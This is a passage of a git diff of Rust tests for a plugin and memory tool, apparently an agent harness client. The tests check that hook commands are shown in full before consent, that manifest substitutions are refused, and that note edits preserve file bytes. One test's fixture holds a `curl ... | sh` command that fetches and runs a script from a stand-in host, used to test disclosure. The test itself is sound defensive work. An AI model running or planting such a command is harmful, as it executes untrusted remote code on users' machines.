f9_the_disclosure_names_each_hook_s_event_and_command() { - let store = tempfile::tempdir().expect("a marketplaces directory"); - let work = tempfile::tempdir().expect("a workspace"); - let dir = store - .path() - .join("zeroonething") - .join("guard") - .join("hooks"); +fn f16_every_hook_row_comes_from_the_harness_including_the_two_shapes_io_cli_could_not_read() { + let store = tempfile::tempdir().expect("a bundles directory"); + + // Shape one: an inline array of tables. No `[[hook]]` header exists to count. + let inline = store.path().join("inline"); manifest( - &dir, - "name = \"guard\"\n\n\ - [[hook]]\non = [\"tool_call\"]\nrun = [\"cargo\", \"fmt\"]\n\n\ - [[hook]]\nat = \"before_tool\"\nrun = [\"./scripts/guard.sh\"]\n", + &inline, + "name = \"inline\"\n\n\ + hook = [{ on = [\"tool_call\"], run = [\"cargo\", \"fmt\"] }]\n", ); - - let hooks = marketplace::hooks(&dir); - assert_eq!( - hooks.len(), - 2, - "a manifest declaring two hooks produced {} rows: {hooks:?}", - hooks.len(), - ); - assert!(hooks[0].0.contains("tool_call"), "{hooks:?}"); - assert!(hooks[0].1.contains("cargo"), "{hooks:?}"); - assert!(hooks[1].0.contains("before_tool"), "{hooks:?}"); - assert!(hooks[1].1.contains("guard.sh"), "{hooks:?}"); - - // Declared locally: a `[[hook]]` in the committed `io.toml` is refused whole - // by io-harness's trust rule, which is why a marketplace install goes to a - // scope that is not `project`. - install(work.path(), &dir); - let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); - let view = io_cli::pluginview::view(&config); - let listed = view - .plugins - .iter() - .find(|listed| listed.id == "guard") - .expect("io-harness read the bundle that was declared"); + let listed = read(&inline); assert!( listed.contributions.contains(&"hooks"), "io-harness did not report hooks at all: {:?}", listed.contributions, ); + assert_eq!( + listed.hooks.len(), + 1, + "an inline `hook = [{{…}}]` array produced {} rows: {:?}", + listed.hooks.len(), + listed.hooks, + ); + assert_eq!(listed.hooks[0].0, "tool_call", "{:?}", listed.hooks); + assert_eq!(listed.hooks[0].1, "[cargo fmt]", "{:?}", listed.hooks); + + // Shape two: headers, the first carrying a trailing comment. Three hooks, and + // between them every accessor a row is built from. + let guard = store.path().join("guard"); + manifest( + &guard, + "name = \"guard\"\n\n\ + [[hook]] # the one that stops a call\n\ + at = \"before_tool\"\ntools = [\"write\"]\nrun = [\"./scripts/guard.sh\"]\n\n\ + [[hook]]\non = []\nappend = \"trace.jsonl\"\n\n\ + [[hook]]\non = [\"finished\"]\nrun = [\"notify\"]\non_failure = \"cancel\"\n", + ); + let listed = read(&guard); + assert_eq!( + listed.hooks.len(), + 3, + "a manifest declaring three hooks produced {} rows: {:?}", + listed.hooks.len(), + listed.hooks, + ); + // The header with a trailing comment, its tool filter, and the `on_failure` no + // key wrote — a lifecycle hook that says nothing refuses the call. + assert_eq!( + listed.hooks[0].0, "before_tool on write, refuses the call if it fails", + "{:?}", + listed.hooks, + ); + assert_eq!( + listed.hooks[0].1, "[./scripts/guard.sh]", + "{:?}", + listed.hooks, + ); + // An empty `on` is every event, and a hook that logs says where. + assert_eq!(listed.hooks[1].0, "every event", "{:?}", listed.hooks); + assert!( + listed.hooks[1].1.contains("appends to") && listed.hooks[1].1.contains("trace.jsonl"), + "{:?}", + listed.hooks, + ); + // And the one answer an operator has to see before they consent. + assert!( + listed.hooks[2].0.contains("cancels the run"), + "a hook that ends the run when it fails is disclosed as an ordinary one: {:?}", + listed.hooks, + ); - let named = io_cli::pluginview::detail(listed, 400, &io_cli::glyphs::UNICODE, &hooks); - let under_hooks: Vec<&str> = named + let rows = io_cli::pluginview::detail(&listed, 400, &io_cli::glyphs::UNICODE); + let under_hooks: Vec<&str> = rows .iter() .skip_while(|row| !(row.heading && row.label == "hooks")) .skip(1) @@ -1536,66 +1682,113 @@ fn f9_the_disclosure_names_each_hook_s_event_and_command() { .collect(); assert_eq!( under_hooks.len(), - 2, + 3, "the group under `hooks` is not one row per hook: {under_hooks:?}", ); + assert!( + !rows.iter().any(|row| row + .detail + .as_deref() + .is_some_and(|said| said.contains("io-harness does not expose"))), + "the placeholder that said io-cli could not name a hook outlived the accessor \ + that replaced it: {rows:?}", + ); +} - // The fallback, asserted so the sabotage is a visible difference rather than a - // silent one: with nothing read, the pane says what it cannot say. - let word = io_cli::pluginview::detail(listed, 400, &io_cli::glyphs::UNICODE, &[]); +/// **F20 — a manifest substitution is refused and the install says so.** +/// +/// From 0.71.0 io-harness refuses `${env:}`, `${file:}` and `${cmd:}` inside a +/// `plugin.toml` in **every** scope, before the manifest is even deserialised: a +/// bundle is a third party's directory even when the file naming it is the +/// operator's own, and resolving one would read this machine — or run a program on +/// it — for a directory nobody has agreed to yet. The value would then have been +/// displayed, in the disclosure, as part of deciding whether to agree. +/// +/// Sabotage: strip the substitution before inspecting. The refusal never happens, +/// the install goes through, and every assertion below fails — including the one +/// that the operator's file was never touched. +#[test] +fn f20_a_manifest_substitution_is_refused_in_every_scope_and_named_by_its_key() { + let store = tempfile::tempdir().expect("a marketplaces directory"); + let work = tempfile::tempdir().expect("a workspace"); + let dir = store + .path() + .join("zeroonething") + .join("ultraship") + .join("plugins") + .join("leaky"); + manifest(&dir, "name = \"leaky\"\ndescription = \"${env:HOME}\"\n"); + let markets = marketplace::markets(store.path()); + + let before = "[run]\nmax_steps = 30\n"; + let file = work.path().join(io_harness::config::LOCAL_FILE); + std::fs::write(&file, before).expect("the configuration"); + + let refusal = install(work.path(), &markets, "leaky") + .expect_err("a manifest asking for this machine's environment is refused"); + assert!( + refusal.contains("description"), + "the refusal does not name the offending key's dotted path, so the operator \ + has to find it themselves: {refusal}", + ); assert!( - word.iter().any(|row| row.label == "declared" - && row - .detail - .as_deref() - .is_some_and(|said| said.contains("io-harness does not expose"))), - "with no manifest read the pane must still say hooks were declared and that \ - io-cli cannot say what they run", + refusal.contains("substitution is refused"), + "the refusal reads as a parse error rather than as the rule it is: {refusal}", + ); + assert_eq!( + std::fs::read_to_string(&file).expect("the file is still there"), + before, + "a bundle refused for a substitution changed the operator's file", ); + + // Every scope, including the two where a `[[hook]]` would have been fine. + for scope in [Scope::User, Scope::Local, Scope::Project] { + assert!( + marketplace::disclosure(scope, &dir).is_err(), + "a substitution is refused wherever the bundle is declared from, and \ + {scope:?} accepted one", + ); + } } -/// **F9's other half — the door where consent happens never shortens the argv.** +/// **F16's other half — the surface where consent happens never shortens the +/// argv.** /// /// `pluginview::detail` cuts a row's detail to the width it is given, and the -/// disclosure used to hand it the caller's. The argv door passes `u16::MAX` and was -/// never shortened — and that door cannot consent; the TUI door passes the screen's -/// width, and on eighty columns a hook's `run` array came back with an ellipsis in -/// it. The operator then consented to a command they were shown three quarters of, -/// on the one contribution kind that runs programs. +/// disclosure used to hand it the caller's — so on an eighty-column terminal a +/// hook's `run` array came back with an ellipsis in it, and the operator consented +/// to a command they were shown three quarters of, on the one contribution kind +/// that runs programs. There is no width on `disclosure`'s signature to get wrong +/// any more, and this is what says so. /// /// A width bound buys nothing here in any case: `Disclosure::said` is written into /// the scrollback a line at a time, not drawn into a fixed-width picker. /// -/// Sabotage: fold the disclosure at the width the caller passed. Eighty columns is -/// narrower than this argv and the assertion fails on the ellipsis. +/// Sabotage: hand `detail` a terminal width again. Eighty columns is narrower than +/// this argv and the assertion fails on the ellipsis. #[test] -fn the_door_where_consent_happens_never_shortens_a_hook_s_command() { +fn the_surface_where_consent_happens_never_shortens_a_hook_s_command() { let store = tempfile::tempdir().expect("a marketplaces directory"); - let work = tempfile::tempdir().expect("a workspace"); let dir = store .path() .join("zeroonething") .join("guard") .join("hooks"); + let argv = "curl -fsSL https://example.invalid/install.sh | sh --with-a-flag-nobody-read"; manifest( &dir, - "name = \"guard\"\n\n[[hook]]\non = [\"tool_call\"]\n\ - run = [\"bash\", \"-c\", \"curl -fsSL https://example.invalid/install.sh | \ - sh --with-a-flag-nobody-read\"]\n", + &format!( + "name = \"guard\"\n\n[[hook]]\non = [\"tool_call\"]\n\ + run = [\"bash\", \"-c\", \"{argv}\"]\n" + ), ); - let hooks = marketplace::hooks(&dir); - assert_eq!(hooks.len(), 1, "{hooks:?}"); - - install(work.path(), &dir); - let config = io_harness::config::Config::discover(work.path()).expect("the file loads"); - let view = io_cli::pluginview::view(&config); + let disclosure = + marketplace::disclosure(Scope::User, &dir).expect("io-harness read the directory"); for glyphs in [&io_cli::glyphs::UNICODE, &io_cli::glyphs::ASCII] { - let disclosure = marketplace::disclosure(&view, &dir, &hooks, 80, glyphs) - .expect("io-harness read the bundle that was declared"); - let said = disclosure.said.join("\n"); + let said = disclosure.said(glyphs).join("\n"); assert!( - said.contains(&hooks[0].1), + said.contains(argv), "the command reached the consent surface shortened, in {}: {said}", glyphs.name, ); @@ -1605,6 +1798,11 @@ fn the_door_where_consent_happens_never_shortens_a_hook_s_command() { {said}", glyphs.name, ); + assert!( + !said.contains(glyphs.ellipsis), + "something on the consent surface was elided, in {}: {said}", + glyphs.name, + ); } } @@ -1617,8 +1815,12 @@ fn the_door_where_consent_happens_never_shortens_a_hook_s_command() { /// too, and lose every setting in the file on the other machine rather than the /// bundle. /// -/// Sabotage: drop the sentence. The constant is named by both doors, so removing it -/// fails to compile there and fails here by name. +/// Sabotage: drop the sentence. It is named here and by the surface that writes +/// the key, so removing it fails here by name. +/// +/// The key is no longer written by a marketplace install — see `pluginview::add_off` +/// — but the sentence still has to be right wherever it is, so this stays a check +/// on the words rather than on a call site. #[test] fn f12_writing_enabled_says_what_it_costs_an_older_binary() { let said = io_cli::pluginview::OLDER_BINARY; @@ -1628,36 +1830,65 @@ fn f12_writing_enabled_says_what_it_costs_an_older_binary() { "the disclosure does not name `{named}`: {said}", ); } +} - // Both doors say it, and neither writes its own words. The library's other two - // gates in this file guard the same property for the fetch and the removal. - let driver = code_of("src/main.rs"); +/// **F16 and F17, structurally — there is one reader and one validator, and the +/// round trip is gone.** +/// +/// The behavioural tests above are about what an install answers. These are about +/// what the code can be made to do: a sabotage that restores either the hand reader +/// or the `add_off` round trip has to be written *somewhere*, and this is where the +/// two places it could go are pinned. +/// +/// Sabotage: put `pluginview::add_off` back into `manage::plan` — the first gate is +/// the one that fails, and it is exactly F17's named sabotage. Put a `[[hook]]` +/// reader back into `marketplace` — the second fails, and it is F16's. +#[test] +fn f16_and_f17_have_one_reader_and_one_validator() { + let planner = code_of("src/manage.rs"); assert_eq!( - driver.matches("OLDER_BINARY").count(), - 2, - "`OLDER_BINARY` is named from {} places in src/main.rs, not 2 — the typed \ - slash form and the argument form. A count of one is a door that writes an \ - `enabled` key and says nothing about it.", - driver.matches("OLDER_BINARY").count(), - ); + planner.matches("pluginview::add_off(").count(), + 0, + "`manage::plan` declares a marketplace bundle switched off again, so the \ + operator's file is written before io-harness has been asked whether the \ + bundle would load at all", + ); + // **The stronger form, once the function itself was deleted.** Asserting that + // one module does not *call* `add_off` stops being much of a gate the moment + // nothing anywhere can: a sabotage restoring the round trip would have to write + // the function back first, and this is what fails when it does. The pair is + // kept rather than replaced — the call-site count is what fails if somebody + // reintroduces it and wires it in one step. assert_eq!( - driver.matches("pluginview::add_off(").count(), + code_of("src/pluginview.rs").matches("fn add_off").count(), 0, - "src/main.rs writes a disclosing entry itself rather than through \ - `manage::plan`, so the two doors can declare a marketplace bundle \ - differently", + "`pluginview::add_off` is back. It wrote `enabled = false` so that \ + io-harness would read a bundle at all, which `Plugins::inspect` made \ + unnecessary in 0.30.0 — and it was the last thing that wrote to an \ + operator's configuration before they had consented to anything", ); assert_eq!( - code_of("src/manage.rs") - .matches("pluginview::add_off(") - .count(), + planner.matches("marketplace::disclosure(").count(), 1, - "the disclosing entry has more than one writer", + "the validation that gates the write has {} call sites in src/manage.rs, not \ + 1 — a second is a second answer about whether a bundle may be declared", + planner.matches("marketplace::disclosure(").count(), ); - assert_eq!( - driver.matches("pluginview::enable(").count(), - 1, - "consent has more than one call site, so a second one can flip the key \ - without the disclosure that earns it", + + // The hand reader is gone from the one file whose job was reading somebody + // else's manifest, and it did not move anywhere else: `edit::value_at` is how + // it read a `[[hook]]` table, and no file in this crate addresses one now. + for name in ["src/marketplace.rs", "src/pluginview.rs", "src/manage.rs"] { + let code = code_of(name); + assert!( + !code.contains("hook["), + "{name} addresses a `[[hook]]` table by index, so io-cli is reading a \ + stranger's manifest again — and its reader cannot see an inline \ + `hook = [{{…}}]` array or a header with a comment on it", + ); + } + assert!( + code_of("src/pluginview.rs").contains("plugin.hooks()"), + "the hook rows do not come from `Plugin::hooks()`", ); } diff --git a/tests/memory.rs b/tests/memory.rs index d72a7dc..b14454f 100644 --- a/tests/memory.rs +++ b/tests/memory.rs @@ -1,5 +1,19 @@ //! The operator memory writer: three scopes, three files, and never a byte lost. //! +//! **F4 is the second half and it is where "never a byte lost" gets teeth.** +//! Through 0.29.0 the only verb was an append, and an append cannot damage what is +//! already in the file. `memory::amend` and `memory::forget` can: they rewrite a +//! file somebody else's prose lives in. Every F4 test below therefore asserts the +//! **whole file, byte for byte**, against an expectation built by editing the +//! original string — never `contains`, which passes for an implementation that +//! kept the line it was asked about and normalised everything around it. +//! +//! The named sabotage is one line of plausible code: read the file, split it into +//! lines, change one, write them back joined. It passes every `contains` in this +//! file and fails the three fixtures below that have something to normalise — a +//! last line with no newline after it, a `\r\n` checkout, and a bullet somebody +//! indented and wrote with a `*`. +//! //! Every test in this file writes `IO_CONFIG_HOME`, because that is the only way //! to move [`memory::path`]'s answer for [`Scope::User`] without touching the //! machine the suite is running on — `home::in_force` reads the environment at @@ -292,3 +306,370 @@ fn surrounding_whitespace_does_not_reach_the_file() { "a pasted line brings its own whitespace, and the file is markdown", ); } + +// --------------------------------------------------------------------------- +// F4 — an instruction note is edited in place and forgotten, by line +// --------------------------------------------------------------------------- + +/// A file with everything a splice can damage: a header this module did not +/// write, prose that is not a list, a bullet with an indent and a `*`, a fenced +/// block, blank lines, and a last bullet after all of it. +const HAND_WRITTEN: &str = "# a heading somebody wrote\n\nsome prose\n\n\ + - keep this one\n * indented, and starred\n\n\ + ```\n a fenced block\n```\n\n- and the last one\n"; + +/// Put `text` in the file `scope` names, making the directory it needs. +fn written(root: &Path, scope: Scope, text: &str) -> PathBuf { + let path = at(root, scope); + std::fs::create_dir_all(path.parent().expect("a parent")).expect("the directory"); + std::fs::write(&path, text).expect("the existing file"); + path +} + +/// The bullets come back with the address of the line they are **on**, which is +/// not their position in the list. +/// +/// This is the criterion's "by line" and the assertion that separates an address +/// from an index. The three notes below are the first, second and third bullets +/// and they are on lines 5, 6 and 8 — so an implementation that handed back the +/// row number would look right in every other test in this file and would, the +/// first time an operator edited the third note, replace the blank line above it. +#[test] +fn f4_a_note_is_addressed_by_the_line_it_is_on_and_not_by_its_place_in_the_list() { + let _guard = env_lock(); + let (_dir, root) = fixture(); + written( + &root, + Scope::Project, + "# AGENTS.md\n\nprose, not a bullet\n\n- first\n * second\n---\n- third\n", + ); + + let notes = memory::notes(&root, Scope::Project); + assert_eq!( + notes + .iter() + .map(|note| note.text.as_str()) + .collect::>(), + ["first", "second", "third"], + "the marker and the indent belong to the file and are not part of the \ + note; the heading, the prose and the `---` are not notes at all", + ); + assert_eq!( + notes.iter().map(memory::Note::numbered).collect::>(), + [5, 6, 8], + "SABOTAGE: hand back the position in the list and this is [1, 2, 3]. The \ + two agree for a file that is nothing but bullets, which is the file every \ + other test uses, and disagree for every file a person has actually \ + written — where the difference is which of somebody's lines gets \ + overwritten.", + ); + assert!( + notes.iter().all(|note| note.scope == Scope::Project), + "each note says which file it came from, so a position read out of one \ + cannot be applied to another that also has a line 5", + ); +} + +/// Nothing to read is an empty list rather than an error or a created file. +#[test] +fn f4_a_file_that_is_not_there_holds_no_notes_and_is_not_made_by_asking() { + let _guard = env_lock(); + let (_dir, root) = fixture(); + + assert!(memory::notes(&root, Scope::Project).is_empty()); + assert!( + !at(&root, Scope::Project).exists(), + "reading is a read — the page an operator opens to look at their notes may \ + not leave a guidance file behind", + ); +} + +/// **The criterion, first half.** Editing line N replaces that line and changes +/// no other byte of the file. +#[test] +fn f4_editing_one_note_replaces_that_line_and_changes_no_other_byte() { + let _guard = env_lock(); + + for scope in SCOPES { + let (_dir, root) = fixture(); + let path = written(&root, scope, HAND_WRITTEN); + + let notes = memory::notes(&root, scope); + assert_eq!( + notes.len(), + 3, + "{scope:?}: the fixture holds three bullets, and the rest is not a list", + ); + + let amended = memory::amend(&root, ¬es[1], " now it says something else \n") + .unwrap_or_else(|error| panic!("{scope:?}: {error}")); + assert_eq!(amended, path, "amend answers with the file it wrote"); + + assert_eq!( + read(&path), + HAND_WRITTEN.replace("indented, and starred", "now it says something else"), + "{scope:?}: the whole file, byte for byte. Only the text of the second \ + bullet moved — its two spaces of indent, its `*`, the fenced block, \ + the blank lines and the heading are the bytes that were there.", + ); + assert!( + read(&path).contains(" * now it says something else\n"), + "{scope:?}: the indent and the marker are the file's own and are not \ + this module's to normalise — an operator who wrote a nested `*` list \ + gets it back", + ); + assert_eq!( + memory::notes(&root, scope) + .iter() + .map(|note| note.text.as_str()) + .collect::>(), + [ + "keep this one", + "now it says something else", + "and the last one" + ], + "{scope:?}: and the list reads back as three notes still, in order", + ); + } +} + +/// **The criterion, second half.** Forgetting line N removes that line and leaves +/// the header and every sibling bullet intact. +#[test] +fn f4_forgetting_one_note_takes_its_line_and_leaves_the_header_and_its_siblings() { + let _guard = env_lock(); + + for scope in SCOPES { + let (_dir, root) = fixture(); + let path = written(&root, scope, HAND_WRITTEN); + + let notes = memory::notes(&root, scope); + memory::forget(&root, ¬es[1]).unwrap_or_else(|error| panic!("{scope:?}: {error}")); + + assert_eq!( + read(&path), + HAND_WRITTEN.replace(" * indented, and starred\n", ""), + "{scope:?}: the line and its newline went together and nothing else \ + moved. A blank line left where the bullet was would be this module \ + editing the shape of somebody's document.", + ); + assert!( + read(&path).starts_with("# a heading somebody wrote\n"), + "{scope:?}: the header a person wrote is still the top of the file", + ); + assert_eq!( + memory::notes(&root, scope) + .iter() + .map(|note| note.text.as_str()) + .collect::>(), + ["keep this one", "and the last one"], + "{scope:?}: both siblings are still there, and still notes", + ); + } +} + +/// **The named sabotage.** A file whose last line has no trailing newline +/// round-trips unchanged. +/// +/// Read the file into lines, change one, write them back joined by `\n` with a +/// trailing one: every assertion above still passes, and this file quietly grows a +/// byte. It is the same defect `remember`'s `prelude` exists for, reached from the +/// other side — and the file it happens to is one io-harness reads into the model's +/// prompt at the start of every run. +#[test] +fn f4_a_file_whose_last_line_has_no_newline_after_it_round_trips_unchanged() { + let _guard = env_lock(); + let ragged = "- run the linter\n- and the formatter"; + + // Editing the last line keeps the file ragged. + let (_dir, root) = fixture(); + let path = written(&root, Scope::Project, ragged); + let notes = memory::notes(&root, Scope::Project); + memory::amend(&root, ¬es[1], "and the checker").expect("the edit lands"); + assert_eq!( + read(&path), + "- run the linter\n- and the checker", + "SABOTAGE: rewrite the file from the parsed lines and this is \ + `- run the linter\\n- and the checker\\n` — one byte the operator did not \ + write, in a file this crate does not own", + ); + assert!( + !read(&path).ends_with('\n'), + "the file ended without a newline and it still does", + ); + + // Forgetting the last line keeps the line above it exactly as it was. + let (_dir, root) = fixture(); + let path = written(&root, Scope::Project, ragged); + let notes = memory::notes(&root, Scope::Project); + memory::forget(&root, ¬es[1]).expect("the removal lands"); + assert_eq!( + read(&path), + "- run the linter\n", + "the removed line took its own bytes and none of its neighbour's", + ); + + // Forgetting the FIRST line leaves the ragged last line ragged. + let (_dir, root) = fixture(); + let path = written(&root, Scope::Project, ragged); + let notes = memory::notes(&root, Scope::Project); + memory::forget(&root, ¬es[0]).expect("the removal lands"); + assert_eq!( + read(&path), + "- and the formatter", + "SABOTAGE: the same rewrite adds the trailing newline here too", + ); +} + +/// A `\r\n` checkout stays a `\r\n` checkout. +/// +/// The second thing the rewrite sabotage normalises, and the one a developer on a +/// Unix machine cannot see at all: every line ending in the operator's file is +/// replaced, so the diff is the whole file and `git` reports it as one. +#[test] +fn f4_windows_line_endings_survive_both_verbs() { + let _guard = env_lock(); + let crlf = "# IO.md\r\n\r\n- one\r\n- two\r\n"; + + let (_dir, root) = fixture(); + let path = written(&root, Scope::User, crlf); + let notes = memory::notes(&root, Scope::User); + assert_eq!( + notes + .iter() + .map(|note| note.text.as_str()) + .collect::>(), + ["one", "two"], + "the `\\r` is a line ending and not part of the note's text", + ); + + memory::amend(&root, ¬es[0], "uno").expect("the edit lands"); + assert_eq!( + read(&path), + "# IO.md\r\n\r\n- uno\r\n- two\r\n", + "SABOTAGE: join the parsed lines with `\\n` and every ending in the file is \ + rewritten — four lines changed to edit one", + ); + + memory::forget(&root, &memory::notes(&root, Scope::User)[1]).expect("the removal lands"); + assert_eq!( + read(&path), + "# IO.md\r\n\r\n- uno\r\n", + "and the removal takes the `\\r\\n` with the line rather than leaving it", + ); +} + +/// A note that has moved since the page was drawn is refused, and nothing is +/// written. +/// +/// The file is markdown a person edits in their own editor and another agent may +/// write into, so the address a picker is holding can go stale between the draw +/// and the keystroke. Acting on it anyway is how an operator loses a line they +/// never looked at. +#[test] +fn f4_a_note_that_has_changed_underneath_is_refused_rather_than_overwritten() { + let _guard = env_lock(); + let (_dir, root) = fixture(); + let path = written(&root, Scope::Local, "- first\n- second\n"); + let notes = memory::notes(&root, Scope::Local); + + // Somebody else edits the file while the picker is open. + let moved = "- somebody else got here first\n- first\n- second\n"; + std::fs::write(&path, moved).expect("the other writer"); + + let refused = memory::amend(&root, ¬es[1], "a replacement"); + assert!( + refused.is_err(), + "line 2 now says `first`, not `second`: the address is stale and the \ + replacement would have landed on a line the operator never chose", + ); + assert_eq!(read(&path), moved, "and a refusal writes nothing at all",); + assert!( + memory::forget(&root, ¬es[1]).is_err(), + "the same check guards the removal, which is the one that cannot be undone", + ); + assert_eq!(read(&path), moved, "still nothing"); + + // The same removal, re-read, is fine — which is what makes the refusal a + // staleness check rather than a refusal to work. + let fresh = memory::notes(&root, Scope::Local); + memory::forget(&root, &fresh[2]).expect("a note read from the file as it stands"); + assert_eq!(read(&path), "- somebody else got here first\n- first\n"); +} + +/// An empty replacement is refused, and so is one holding a line break. +/// +/// A blanked note is the same failure a blank `remember` is: the surface says it +/// was recorded and the file says nothing. A replacement with a newline in it is +/// the other half — one line of the file becomes two, and the second is a line +/// `notes` cannot address and no verb can reach. +#[test] +fn f4_an_empty_or_multi_line_replacement_is_refused_and_nothing_is_written() { + let _guard = env_lock(); + let (_dir, root) = fixture(); + let before = "- prefer small diffs\n"; + let path = written(&root, Scope::Project, before); + let note = memory::notes(&root, Scope::Project).remove(0); + + for refused in ["", " ", "\t\n \n", "one line\nand another"] { + assert!( + memory::amend(&root, ¬e, refused).is_err(), + "{refused:?} was accepted, which either blanks the note while reporting \ + success or puts an unaddressable line in the file", + ); + assert_eq!(read(&path), before, "and {refused:?} wrote nothing"); + } +} + +/// **Both verbs are reachable from a keystroke.** +/// +/// A driver-text gate, and it is here for the reason this repository already has +/// four of them: nothing under `tests/` links `src/main.rs`, so a public function +/// with a thorough test file and no caller is invisible to the suite. 0.20.0 +/// shipped seven of those behind a green run, and `recall::unforget` spent a whole +/// release as an eighth — so the rule now is that a new public item names its call +/// site and a gate traces it. +/// +/// The comments come off first: every one of the three names below appears in a +/// paragraph of prose in the driver, and a gate satisfied by prose is the defect +/// 0.14.0 shipped. Copied from `tests/structure.rs:137`, which cannot be imported +/// across test binaries. +/// +/// Sabotage: wire the page and delete the `memory::amend` arm — `contains` on the +/// other two still passes, and this fails on the one that is missing. +#[test] +fn f4_reading_editing_and_forgetting_a_note_are_all_reachable_from_the_driver() { + let path = Path::new(env!("CARGO_MANIFEST_DIR")).join("src/main.rs"); + let text = std::fs::read_to_string(path).expect("the driver is readable"); + let text: String = text + .lines() + .map(|line| match line.find("//") { + Some(at) => &line[..at], + None => line, + }) + .collect::>() + .join("\n"); + + for (call, why) in [ + ( + "io_cli::memory::notes(", + "the bullets have to be read back before either verb can address one, \ + and reading them from the file at the moment the verb is offered is \ + what makes the address good", + ), + ( + "io_cli::memory::amend(", + "editing a note is one of the two verbs this release exists to add; a \ + `memory::amend` no keystroke reaches is a tested function, not a \ + surface", + ), + ( + "io_cli::memory::forget(", + "and so is removing one — until now the only verb these files had was \ + an append, so a line typed by mistake stayed in the model's prompt \ + for the life of the checkout", + ), + ] { + assert!(text.contains(call), "`{call}` has no call site: {why}"); + } +} diff --git a/tests/plugins.rs b/tests/plugins.rs index bb09e28..940d4ff 100644 --- a/tests/plugins.rs +++ b/tests/plugins.rs @@ -535,6 +535,116 @@ max_steps = 30 ); } +/// **F11 (0.30.0).** A bundle is switched off and back on, and the entry survives. +/// +/// Not the F11 the `f11_candidates_*` tests further down this file cover — that is +/// 0.28.0's criterion about resolving the word an operator typed. The contracts +/// number independently and this file now holds tests from both; the doc comment is +/// what says which, since the name cannot. +/// +/// `pluginview::disable` writes `false` where `enable` writes `true`, into the same +/// one key of the same one entry. Everything else about the declaration — the path +/// it names, and therefore the bundle's identity — is the same bytes afterwards, +/// which is what separates this verb from `remove`: the bundle goes on being listed +/// under `DISABLED_MARK` instead of vanishing, and the way back on is the same +/// keystroke again rather than typing the directory out. +/// +/// The whole round trip goes through io-harness: the file is written, re-discovered +/// and read back through `Plugins::disabled()`, because `[[plugin]]` *is* held to +/// `deny_unknown_fields` and a fixture that only grepped the text would pass on a +/// key the harness never honoured. +/// +/// Sabotage: have `disable` call `remove`. The bundle stops being declared at all — +/// `view.plugins` no longer names it, the `DISABLED_MARK` row is not there, and the +/// path assertion on the file fails first. +#[test] +fn f11_a_bundle_is_switched_off_and_back_on_and_the_entry_survives() { + let (_dir, root) = root(); + bundle(&root, "good", MINIMAL); + declaring(&root, LOCAL_FILE, &["good"]); + let file = root.join(LOCAL_FILE); + let before = std::fs::read_to_string(&file).expect("the configuration"); + + let off = io_cli::edit::apply(&before, &[pluginview::disable(0)]).expect("the edit applies"); + assert!( + off.contains("path = \"good\""), + "the declaration was taken away rather than switched off: {off}", + ); + assert!( + off.contains("enabled = false"), + "the key is not a TOML boolean, and io-harness refuses `enabled = \"false\"`: {off}", + ); + std::fs::write(&file, &off).expect("the configuration"); + + let config = Config::discover(&root).expect("the configuration loads"); + let view = pluginview::view(&config); + let listed = view + .plugins + .iter() + .find(|plugin| plugin.id == "rust-review") + .expect("a switched-off bundle is still declared and still listed"); + assert!( + !listed.enabled, + "the bundle is still loading, so nothing was switched off", + ); + + // The mark, because a row that vanished and a row that says so are the two + // answers this verb chooses between. + let rows = pluginview::rows(&view, 120, &io_cli::glyphs::ASCII); + let row = rows + .iter() + .find(|row| row.label == "rust-review") + .expect("a row per declared bundle"); + assert_eq!( + row.mark, + Some(pluginview::DISABLED_MARK), + "a switched-off bundle must be drawn under its own mark rather than \ + disappearing or reading as loaded", + ); + + // And back on, from exactly where it was. + let on = io_cli::edit::apply(&off, &[pluginview::enable(0)]).expect("the edit applies"); + assert!(on.contains("enabled = true"), "{on}"); + assert!(on.contains("path = \"good\""), "{on}"); + std::fs::write(&file, &on).expect("the configuration"); + let config = Config::discover(&root).expect("the configuration loads"); + assert!( + pluginview::view(&config) + .plugins + .iter() + .any(|plugin| plugin.id == "rust-review" && plugin.enabled), + "a bundle switched off cannot be switched back on, which is the half \ + 0.29.0 could not ship", + ); +} + +/// **F12, the `[[plugin]]` half.** The sentence this write costs an older binary +/// is not the sentence the `[[mcp]]` write costs. +/// +/// Stated on both surfaces because an operator who has met one will assume the +/// other behaves the same way, and here they are opposites: a 0.69.0 binary refuses +/// the *whole configuration file* over `enabled` in a `[[plugin]]`, and silently +/// ignores it in an `[[mcp]]` — starting a server that was switched off. The full +/// pairing is asserted in `tests/servers_enabled.rs`; this is the half that lives +/// beside the write it describes. +/// +/// Sabotage: use `pluginview::OLDER_BINARY` for both. This test and its twin fail +/// together, and the one that matters is the MCP side, where the operator is told +/// they will notice something they will not. +#[test] +fn f12_the_plugin_older_binary_sentence_is_about_the_whole_file() { + let plugin = pluginview::OLDER_BINARY; + assert!( + plugin.contains("refuses the whole configuration file"), + "the cost of this key on an older binary is total, not partial: {plugin}", + ); + assert_ne!( + plugin, + io_cli::servers::OLDER_BINARY, + "the two `enabled` writes cost opposite things and cannot share a sentence", + ); +} + // --------------------------------------------------------------------------- // F2/F3 rendering — the sentence, and the index mapping // --------------------------------------------------------------------------- diff --git a/tests/preflight.rs b/tests/preflight.rs index d9a005b..793ebdc 100644 --- a/tests/preflight.rs +++ b/tests/preflight.rs @@ -2,14 +2,20 @@ //! //! Two things are asserted here and they fail for different reasons. //! -//! **The normaliser is a copy, so it is tested as a copy.** `io_cli::preflight::target` -//! reproduces io-harness's `pub(crate) net::target`, and nothing in either crate can -//! notice the day the two stop agreeing. A happy-path assertion — `https://example.com` -//! becomes `example.com:443` — passes against essentially any URL parser ever written, -//! so it would go on passing through a rewrite that changed every answer that matters. -//! What is enumerated below instead is the case table: the scheme defaults, every shape -//! that must return `None`, the userinfo drop, and both IPv6 spellings. Each of those is -//! a line of the original that a re-derivation would get differently. +//! **The normaliser is no longer a copy, and these tests are why the copy had to go.** +//! Until 0.30.0 `io_cli::preflight::target` reproduced io-harness's then-`pub(crate)` +//! `net::target`, and nothing in either crate could notice the day the two stopped +//! agreeing. They had already stopped: the copy was byte-for-byte the pre-0.71.0 +//! implementation, which **fails open on five URL shapes**. The case table below was +//! supposed to be the guard against exactly that, and it enumerated seven refusal cases +//! without containing a single one of the five — a hole the size of the defect. io-cli +//! now calls `io_harness::net::target`, and what is asserted here is the contract this +//! crate depends on rather than an implementation it owns. +//! +//! A happy-path assertion — `https://example.com` becomes `example.com:443` — passes +//! against essentially any URL parser ever written, so the case table stays: the scheme +//! defaults, every shape that must return `None`, the userinfo drop, both IPv6 +//! spellings, and now the five that used to fail open. //! //! **The verdict half is 